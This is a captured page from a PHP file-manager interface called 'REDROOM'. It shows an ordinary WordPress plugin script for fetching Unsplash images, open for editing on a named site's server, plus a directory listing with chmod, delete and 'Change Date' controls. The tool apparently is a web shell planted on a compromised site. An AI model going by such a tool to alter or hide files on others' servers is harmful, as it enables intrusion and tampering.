REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.93 KB
Close
/home/nshryvcy/radiantskinclinics.org/wp-content/plugins/extendify_old/src/Shared/lib/unsplash.js
Text
Base64
import { AI_HOST } from '@constants'; import { useAIConsentStore } from '@shared/state/ai-consent'; import { useUnsplashCacheStore } from '@shared/state/unsplash-cache'; const { showAIConsent, userGaveConsent } = useAIConsentStore.getState(); // Additional data to send with requests const allowList = [ 'siteId', 'partnerId', 'wpVersion', 'wpLanguage', 'devbuild', 'isBlockTheme', 'userId', 'siteProfile', ]; const extraBody = { ...Object.fromEntries( Object.entries(window.extSharedData).filter(([key]) => allowList.includes(key), ), ), showAIConsent, userGaveConsent, }; export const fetchImages = async (search, source = null) => { const queryString = new URLSearchParams({ ...extraBody, query: search, source, }); const res = await fetch( `${AI_HOST}/api/draft/image/unsplash?${queryString.toString()}`, { method: 'GET', headers: { 'Content-Type': 'application/json' }, }, ); if (!res.ok) { throw new Error('Bad response from server'); } const images = await res.json(); if (!Array.isArray(images)) { throw new Error('Bad response from server'); } const result = images.map((image) => ({ ...image, requestMetadata: { id: res.headers.get('X-Request-Id'), total: res.headers.get('X-Total'), perPage: res.headers.get('X-Per-Page'), }, })); return result; }; export const preFetchImages = async () => { const cache = useUnsplashCacheStore.getState(); if (!cache.isEmpty() && !cache.hasExpired()) { return cache.images; } const { imageSearchTerms } = window.extSharedData?.siteProfile ?? {}; const queries = imageSearchTerms?.length ? imageSearchTerms : []; const images = ( await Promise.all(queries.map((query) => fetchImages(query, 'prefetch'))) ).flat(); const uniqueImagesMap = images.reduce((acc, image) => { if (!acc.has(image.id)) { acc.set(image.id, image); } return acc; }, new Map()); cache.updateCache(Array.from(uniqueImagesMap.values())); return images; };
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 1 × Files: 8
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
__tests__
DIR
-
drwxr-xr-x
2026-04-28 02:40:02
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
api-fetch.js
346 B
lrw-r--r--
2025-09-15 23:30:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
data.js
341 B
lrw-r--r--
2026-03-05 22:57:38
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
dom.js
254 B
lrw-r--r--
2026-02-19 03:27:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
pages.js
16.27 KB
lrw-r--r--
2026-02-19 03:27:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
parsing.js
206 B
lrw-r--r--
2026-02-19 03:27:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
unsplash.js
1.93 KB
lrw-r--r--
2026-02-27 04:48:52
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
utils.js
1.72 KB
lrw-r--r--
2026-02-19 03:27:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp.js
499 B
lrw-r--r--
2026-02-19 03:27:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).